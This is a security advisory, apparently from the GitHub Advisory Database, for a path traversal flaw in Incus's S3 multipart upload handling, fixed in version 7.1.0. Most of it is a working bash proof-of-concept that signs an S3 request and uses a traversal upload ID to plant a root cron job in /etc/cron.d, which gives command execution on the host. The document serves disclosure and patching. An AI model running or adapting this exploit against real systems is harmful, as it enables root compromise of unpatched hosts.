github.com/lxc/incus/v7/cmd/incusd
Affected
- introduced
0, fixed7.1.0(semver)
Fixed versions
7.1.0
Fix
- Fixed version
7.1.0go get github.com/lxc/incus/v7/cmd/[email protected]
Advisory
Also known as: CVE-2026-48753, GO-2026-5802
Incus has an arbitrary file write via path traversal in S3 multipart upload
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials
Exploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.
Critical Basis: The source's own band: CRITICAL
0, fixed 7.1.0 (semver)7.1.0
7.1.0go get github.com/lxc/incus/v7/cmd/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0